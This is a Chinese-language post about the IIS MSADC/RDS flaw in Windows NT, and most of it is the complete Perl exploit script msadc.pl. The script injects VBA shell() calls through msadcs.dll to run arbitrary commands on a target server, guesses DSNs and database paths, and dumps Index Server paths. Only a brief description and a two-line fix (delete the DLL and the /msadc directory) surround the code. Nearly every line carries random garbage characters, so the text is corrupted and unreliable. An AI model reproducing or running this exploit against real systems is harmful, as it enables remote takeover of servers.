IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
48;6C g NA%M)u{| 涉及程序：
?d@3y<A,~ Microsoft NT server
$="t7C9S g}>Sc=e < 描述：
f Z8%Z
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
x'IVP[xh`A 8m% +O# 详细：
)I7~ <$w 如果你没有时间读详细内容的话，就删除:
4C@ .X[r c:\Program Files\Common Files\System\Msadc\msadcs.dll
wdS4iQD 有关的安全问题就没有了。
b=nQi./f =`RogjbP 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
vv='.R, D =! }n . 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
Uedz t 关于利用ODBC远程漏洞的描述，请参看:
& o{= ~ *:{U http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm nnr
g^F `/ ]Th&(5 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
#p 'Xq
}] http://www.microsoft.com/security/bulletins/MS99-025faq.asp +ob<?
T &!/E&e$_ 这里不再论述。
dkTewT6' M"cB6{st[ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Jj BG9Rp{ QwF\s13 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
U*Q1(C 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
,w>WuRN" j1/.3\ 80qSPitj #将下面这段保存为txt文件，然后: "perl -x 文件名"
VVY#g%(K n-X; JYQW #!perl
[C1 .*Q+l #
50MdZ;R-3 # MSADC/RDS 'usage' (aka exploit) script
z1wJ-l #
QuG=am?l` # by rain.forest.puppy
P#e 1? #
M# <U=Ha # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
uZ[7[mK}n7 # beta test and find errors!
P .I <.e lw/zgR#| use Socket; use Getopt::Std;
,- !h getopts("e:vd:h:XR", \%args);
6T3uv,2 f L3Px print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
&8kc0Z@y 61 qs`N=k if (!defined $args{h} && !defined $args{R}) {
i%~^3 /K print qq~
)=,%iL - Usage: msadc.pl -h <host> { -d <delay> -X -v }
D,cGW,2Nv -h <host> = host you want to scan (ip or domain)
Kob i! -d <seconds> = delay between calls, default 1 second
CKC%|xke -X = dump Index Server path table, if available
|>w>}w`~ -v = verbose
+{b!,D3sa* -e = external dictionary file for step 5
)8BGN'jyi 1oD1ia# Or a -R will resume a command session
|jh&a+4W 4k }3^.# ~; exit;}
UNx|+ -)cau-(X $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
.MoOjx? if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
jg2 UX if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
cvoE4&m! if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
T 6T3:DG_B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
px|y_.DB2x if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
PKDzIA~T x#wkODLqi if (!defined $args{R}){ $ret = &has_msadc;
m8Wv46% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
~|W0+ &): $!~R' N c print "Please type the NT commandline you want to run (cmd /c assumed):\n"
$ f++n5I . "cmd /c ";
j=r aS $in=<STDIN>; chomp $in;
o+9b%I^1V $command="cmd /c " . $in ;
%[1\d) d! BQ%a if (defined $args{R}) {&load; exit;}
RQaB _bg7 pKSn
3-A print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
to}g4 &try_btcustmr;
Dt1v`T~=? nC-=CMWWr print "\nStep 2: Trying to make our own DSN...";
G~$.Af!9W &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
ejr9e@D^ CV9o,rL print "\nStep 3: Trying known DSNs...";
bfjC: "!H &known_dsn;
0F"W~OQ6 7(ni _|$| print "\nStep 4: Trying known .mdbs...";
[w0@7p"7 &known_mdb;
,r=9$i_ Iq76JJuCb if (defined $args{e}){
hW^*b:v{ print "\nStep 5: Trying dictionary of DSN names...";
YY! Lv:.7> &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Vn ZRsFY<^ ].=~C"s,a print "Sorry Charley...maybe next time?\n";
#3b_ #+, exit;
pQQN8Y~^Y <)hA? 3J ##############################################################################
{yl Y"FA wiwAdYEQ\ sub sendraw { # ripped and modded from whisker
dC&OjBQ sleep($delay); # it's a DoS on the server! At least on mine...
4trP*u,4 my ($pstr)=@_;
Ry$zF~[ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
we4k VAn die("Socket problems\n");
W0zRV9"P if(connect(S,pack "SnA4x8",2,80,$target)){
]xx}\k select(S); $|=1;
F&tU^( 7< print $pstr; my @in=<S>;
D d: T FZo select(STDOUT); close(S);
)[t zAaP7 return @in;
(-<s[VnXP } else { die("Can't connect...\n"); }}
i6S5 4&^! n! Dr:$
##############################################################################
O ouIV 3 u[{j ;l( sub make_header { # make the HTTP request
J AQ y my $msadc=<<EOT
d8)ps, POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
a#huK~$~ User-Agent: ACTIVEDATA
>yZe1CP Host: $ip
a Uy!(Y Content-Length: $clen
w5C$39e\G Connection: Keep-Alive
m;_gNh8 Ee \
oY/h T _ ADCClientVersion:01.06
6Kvo Ho Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
wjq;9%eXk Fjs:rZ#{ --!ADM!ROX!YOUR!WORLD!
Li'>pQ+ Content-Type: application/x-varg
Z<yLu'48)A Content-Length: $reqlen
vz$_Fgsc. xj ?#]GR EOT
p#\JKx ; $msadc=~s/\n/\r\n/g;
0[# zn return $msadc;}
_#dBcEH[ J]!&E~Y ##############################################################################
VW$a(G_h ?Iin/ <y sub make_req { # make the RDS request
9wTN *y my ($switch, $p1, $p2)=@_;
jk Q%b.a my $req=""; my $t1, $t2, $query, $dsn;
{h}0 "5 z[cs /x if ($switch==1){ # this is the btcustmr.mdb query
Jw 4#u5$$Z $query="Select * from Customers where City=" . make_shell();
^v j} $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
s~z~9#G(6 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
B~CdY}UTsj & t.G4 elsif ($switch==2){ # this is general make table query
5[[m S $query="create table AZZ (B int, C varchar(10))";
r_x|2 A oO $dsn="$p1";}
~E8L,h~ #J Ay elsif ($switch==3){ # this is general exploit table query
wHT]& fZ $query="select * from AZZ where C=" . make_shell();
{4 y#+[ $dsn="$p1";}
?W3 l #VvU8"u elsif ($switch==4){ # attempt to hork file info from index server
} SNZl`> $query="select path from scope()";
xg^Z. q)d $dsn="Provider=MSIDXS;";}
O)aWTI rA\6y6d Fs elsif ($switch==5){ # bad query
| zkZF|- $query="select";
zao=}j? $dsn="$p1";}
@^2?97i
c O x),jc[/ $t1= make_unicode($query);
=d*5TyAcu $t2= make_unicode($dsn);
{vhP'!a6W $req = "\x02\x00\x03\x00";
anzt;V.;Y $req.= "\x08\x00" . pack ("S1", length($t1));
#Q]^9/;|4n $req.= "\x00\x00" . $t1 ;
0Ym_l?]m[ $req.= "\x08\x00" . pack ("S1", length($t2));
R<)^--n $req.= "\x00\x00" . $t2 ;
(
kKQs" ) $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
^. p d'
return $req;}
+_T`tmQ W >o>Y$H ##############################################################################
W{i s 2s tR Cz[M& sub make_shell { # this makes the shell() statement
+V ` * return "'|shell(\"$command\")|'";}
l+UUv]:1 Q
H 57[Yg ##############################################################################
>Y6iLQ$X pQNTN.L9NZ sub make_unicode { # quick little function to convert to unicode
L)z` my ($in)=@_; my $out;
1EemVZdY for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
+B&,$ceyaJ return $out;}
SjL&\), ?/1 Eu47 ##############################################################################
K(3 _1*e T!%J x.^ sub rdo_success { # checks for RDO return success (this is kludge)
| zyO; my (@in) = @_; my $base=content_start(@in);
vve L|j if($in[$base]=~/multipart\/mixed/){
v;o/M6GL5 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
(3Dz'X return 0;}
*~\R0ddz [e`e bn[C ##############################################################################
U~GQ JR YHOo6syk sub make_dsn { # this makes a DSN for us
M~ku4ZP my @drives=("c","d","e","f");
0a}a print "\nMaking DSN: ";
@~CXnc0 foreach $drive (@drives) {
P;U(2;9 N print "$drive: ";
)Y &RMY y my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
I /z`) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
GO]5~ 4k . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>] <4t06D $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
UJiy] y return 0 if $2 eq "404"; # not found/doesn't exist
i@L_[d^|j` if($2 eq "200") {
@#2KmM~I foreach $line (@results) {
xO{$6M3-~ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
k@[{_@>4^ } return 0;}
!T"jvDYH IwVdx^9 ##############################################################################
XM57 UG ae>B 0#= sub verify_exists {
I Bz)3gj J my ($page)=@_;
z(n Ba]^[F my @results=sendraw("GET $page HTTP/1.0\n\n");
e|d~ &Bk0 return $results[0];}
E<[ Y KY fZavZ\ qU ##############################################################################
P47x-; I h <.2 sub try_btcustmr {
_$P1N^}Z s my @drives=("c","d","e","f");
0^83:C
^{ my @dirs=("winnt","winnt35","winnt351","win","windows");
\h@3 dJ4
rK[;wD< foreach $dir (@dirs) {
t Uk)S print "$dir -> "; # fun status so you can see progress
b!JrdJO,DP foreach $drive (@drives) {
d T7!+)s5- print "$drive: "; # ditto
;R([w4[~ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
3_ ZlZ_Tq $reqlenlen=length( "$reqlen" );
2C AR2V| $clen= 206 + $reqlenlen + $reqlen;
.$ X|96~$ F EA t6 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
}u]7 x:lh if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
lS G]{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
a];1)zVA6 PY
MofQaZ ##############################################################################
;~GBD] 1<;VD0XX sub odbc_error {
QTosp Hf` my (@in)=@_; my $base;
!LJ4
S
my $base = content_start(@in);
4x-K0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
yVe<+Z\7 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
dK41NLGQ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/RI"a^&9A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"i,ZG$S#E return $in[$base+4].$in[$base+5].$in[$base+6];}
ZkryoIQ%= print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
:[ &QoEZW print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]oLyvG $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
a"D'QqtH 8osP$"/o ##############################################################################
M.67[Qj~"u $D W__h sub verbose {
}` y%*-- my ($in)=@_;
bT MgE Y return if !$verbose;
5KTPlqm0qF print STDOUT "\n$in\n";}
{ u3giB \U>|^$4 #5 ##############################################################################
G_ ` Ae%'h >U)>~SQf sub save {
P~;1adi3 my ($p1, $p2, $p3, $p4)=@_;
~3)d ?{5 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
~;}uYJ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
8?1MnjhX10 close OUT;}
I2WWhsNC 1<V ke$ ##############################################################################
$IqubC>O :{9HsF"h0 sub load {
z @?WhD my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
)jjL' open(IN,"<rds.save") || die("Couldn't open rds.save\n");
yN/g;bQ @p=<IN>; close(IN);
]wwN mmE $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Vqr]Ui $target= inet_aton($ip) || die("inet_aton problems");
ar _@"+tZ print "Resuming to $ip ...";
0),fY(D2T $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
DWS#q|j`" if($p[1]==1) {
YjiMUi\V $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2U3 e !V $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
eV"s5X[$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
(}rBnD if (rdo_success(@results)){print "Success!\n";}
Sd/7# else { print "failed\n"; verbose(odbc_error(@results));}}
vxS4YR b elsif ($p[1]==3){
*D67&/g. if(run_query("$p[3]")){
A 8g_BLj!e print "Success!\n";} else { print "failed\n"; }}
qJ E_4/<^! elsif ($p[1]==4){
Sx1|Oq] if(run_query($drvst . "$p[3]")){
n#sK31;yb print "Success!\n"; } else { print "failed\n"; }}
QO:Z8{21So exit;}
[X7gP4 1p8pH$j' ##############################################################################
S9[Y1qH>K 1a mEQ sub create_table {
~UHjc0 my ($in)=@_;
= |E8z
u% $reqlen=length( make_req(2,$in,"") ) - 28;
\,#;gS " $reqlenlen=length( "$reqlen" );
Qq%~e41e c $clen= 206 + $reqlenlen + $reqlen;
BIEq(/- my @results=sendraw(make_header() . make_req(2,$in,""));
5,+fM6^V return 1 if rdo_success(@results);
`FwE^_9d my $temp= odbc_error(@results); verbose($temp);
AH?[K,3 return 1 if $temp=~/Table 'AZZ' already exists/;
Z3U%Afl2{ return 0;}
3WpQzuHPT h]vEXWpG ] ##############################################################################
:!^NjO Wt.['`c< sub known_dsn {
97/ 4 J # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
EQQ@nW{; my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
xd\ml
37~ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
RXw1HRR$V "banner", "banners", "ads", "ADCDemo", "ADCTest");
1bjz :^ CF:L#r foreach $dSn (@dsns) {
S f6%A print ".";
jO9! :L>b` next if (!is_access("DSN=$dSn"));
n NeCi if(create_table("DSN=$dSn")){
,~/WYw< o print "$dSn successful\n";
NKc<nYdK? if(run_query("DSN=$dSn")){
(*kKfg4Wj print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
nd$ 92H print "Something's borked. Use verbose next time\n";}}} print "\n";}
luW" | uw/N `u ##############################################################################
4C )sjk?m Ly z8DwZ sub is_access {
U'u_'5 { my ($in)=@_;
~NB|BwAh $reqlen=length( make_req(5,$in,"") ) - 28;
iRx `Nx<@ $reqlenlen=length( "$reqlen" );
0+&K; $clen= 206 + $reqlenlen + $reqlen;
hhz#I A6, my @results=sendraw(make_header() . make_req(5,$in,""));
ss6{+@, my $temp= odbc_error(@results);
&DjA?0`J verbose($temp); return 1 if ($temp=~/Microsoft Access/);
bk&kZI.D return 0;}
,f@j4*) lI~8[[$xd ##############################################################################
O{\%{XrW W>q u~ak?x sub run_query {
$ @l=FV_; my ($in)=@_;
yo8mfH_, $reqlen=length( make_req(3,$in,"") ) - 28;
?op;#/Q( $reqlenlen=length( "$reqlen" );
\4>w17qng $clen= 206 + $reqlenlen + $reqlen;
eSHsE 3}h
my @results=sendraw(make_header() . make_req(3,$in,""));
<Mu T7x- return 1 if rdo_success(@results);
xel|,|*Yq my $temp= odbc_error(@results); verbose($temp);
5V~vND*
s return 0;}
x$t2Y<_ * 3]2vq ##############################################################################
Kz z/] e*}:t H sub known_mdb {
{{B' 65Wu my @drives=("c","d","e","f","g");
zhbSi w my @dirs=("winnt","winnt35","winnt351","win","windows");
S}cR+d1}h my $dir, $drive, $mdb;
~2 nt33" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
MPK rr )a5ON8? # this is sparse, because I don't know of many
y4r?M8]"r my @sysmdbs=( "\\catroot\\icatalog.mdb",
K#'$ _0. "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
^I yYck'y+ "\\system32\\certmdb.mdb",
u'k+t`V& "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
59p'U /| IG7,- 3 my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
6Q J .=.>b "\\cfusion\\cfapps\\forums\\forums_.mdb",
C]fX=~?bGQ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
? JTTl; "\\cfusion\\cfapps\\security\\realm_.mdb",
[-i&)eX "\\cfusion\\cfapps\\security\\data\\realm.mdb",
P#Whh "\\cfusion\\database\\cfexamples.mdb",
; <mcvm "\\cfusion\\database\\cfsnippets.mdb",
F|V KrH. "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
? |pP&8r "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
jE=m4_Ntn "\\cfusion\\brighttiger\\database\\cleam.mdb",
c`&g.s@N\ "\\cfusion\\database\\smpolicy.mdb",
R4T@ ]l&W "\\cfusion\\database\cypress.mdb",
bg /=P>2 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
C <(qk _ "\\website\\cgi-win\\dbsample.mdb",
o4OB xHKy "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
<6s@eare8 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
`'*4B_. ); #these are just
:_]0 8 foreach $drive (@drives) {
?6>* mdpl foreach $dir (@dirs){
4q:8<*W= foreach $mdb (@sysmdbs) {
J}+N\V~ print ".";
G9V2(P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
?3qp?ea print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
>56fa6=3@ if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
WW+ F9~S print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
XR 3 dG: } else { print "Something's borked. Use verbose next time\n"; }}}}}
>I<}:= I3b*sx$ foreach $drive (@drives) {
uMpuS1 foreach $mdb (@mdbs) {
.'$8Hj;@ print ".";
'9 zKaL if(create_table($drv . $drive . $dir . $mdb)){
dG8mE& $g print "\n" . $drive . $dir . $mdb . " successful\n";
c5uC?b]. if(run_query($drv . $drive . $dir . $mdb)){
6k![v@2R print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
xB[W8gQ6fa } else { print "Something's borked. Use verbose next time\n"; }}}}
5`$!s17 }
XA(.O|VZ (:o:_U ##############################################################################
b|@zjh;]A7 " FhC"}N sub hork_idx {
k}I65 ^l# print "\nAttempting to dump Index Server tables...\n";
nP<u. {q
L print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
<L11s%5- $reqlen=length( make_req(4,"","") ) - 28;
/hmDeP o} $reqlenlen=length( "$reqlen" );
~-y&C% $clen= 206 + $reqlenlen + $reqlen;
sa _ J6 ~ my @results=sendraw2(make_header() . make_req(4,"",""));
PkZ1Db if (rdo_success(@results)){
U$y wO4. my $max=@results; my $c; my %d;
T8)X ?>CIW for($c=19; $c<$max; $c++){
]~VuY:abH $results[$c]=~s/\x00//g;
-QR]BD%J*[ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
Qx3eEt@X5] $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!`4i e $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1RX-`"^+ $d{"$1$2"}="";}
)db:jPkwd foreach $c (keys %d){ print "$c\n"; }
V~
MsGj } else {print "Index server doesn't seem to be installed.\n"; }}
-3 ANNj k3 e6y ##############################################################################
7E#h(bt j ^i2>Ax&T sub dsn_dict {
EVBOubV open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;DhAw 1 while(<IN>){
N` $F>E,T% $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
vM]5IHqeE next if (!is_access("DSN=$dSn"));
0%%y9;o if(create_table("DSN=$dSn")){
JiO8 EIM print "$dSn successful\n";
-q[x"Ha% if(run_query("DSN=$dSn")){
mxBx?xM- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O!hp=`B,jf print "Something's borked. Use verbose next time\n";}}}
sZxTsUW print "\n"; close(IN);}
e=p_qhBt 6rWq
hIaI ##############################################################################
N6p0` )V+/@ 4 sub sendraw2 { # ripped and modded from whisker
I<,~>'cq. sleep($delay); # it's a DoS on the server! At least on mine...
{T,}]oX my ($pstr)=@_;
US^%pd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$T:;Kc W) die("Socket problems\n");
[` }w 7 if(connect(S,pack "SnA4x8",2,80,$target)){
PFx.uqp print "Connected. Getting data";
GA`
bWl open(OUT,">raw.out"); my @in;
;K|K]c select(S); $|=1; print $pstr;
f2pA+j5[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
^c/3 !"wK
close(OUT); select(STDOUT); close(S); return @in;
W8u&5#$I } else { die("Can't connect...\n"); }}
w1(5,~OB ;&f(7 Q+T_ ##############################################################################
-5]lHw} %.wR@9? sub content_start { # this will take in the server headers
Q9h=1G \K my (@in)=@_; my $c;
5} <OB-9 for ($c=1;$c<500;$c++) {
E(_k#X if($in[$c] =~/^\x0d\x0a/){
Rq e|7/As if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ZZwIB3sNhf else { return $c+1; }}}
zBwqI JfM return -1;} # it should never get here actually
u|.|dv'mbp :xq{\ "r ##############################################################################
"VHT5k ,quUG S sub funky {
BFP@Yn~k my (@in)=@_; my $error=odbc_error(@in);
{oF;ZM'r if($error=~/ADO could not find the specified provider/){
Vr"'O6 print "\nServer returned an ADO miscofiguration message\nAborting.\n";
^+-]V9?+ exit;}
5-k gGOt if($error=~/A Handler is required/){
_
W#Km print "\nServer has custom handler filters (they most likely are patched)\n";
&iq'V*+-\ exit;}
WA1yA*S if($error=~/specified Handler has denied Access/){
\ZhkOl print "\nServer has custom handler filters (they most likely are patched)\n";
$Q}L*4?] exit;}}
n[qnrk*3
% @jjxgd'%& ##############################################################################
92R,o'# F7w\ctUP sub has_msadc {
6(t'B!x my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
wu11)HFL|z my $base=content_start(@results);
uOKD# return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
bG* l_ return 0;}
?/5<}W#7} xluA jOQ6 ########################
hVT>HER $FIJI^Kd7 >D i`zw~ 解决方案：
*SI,K)BP 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
0)\(y 2、移除web 目录: /msadc
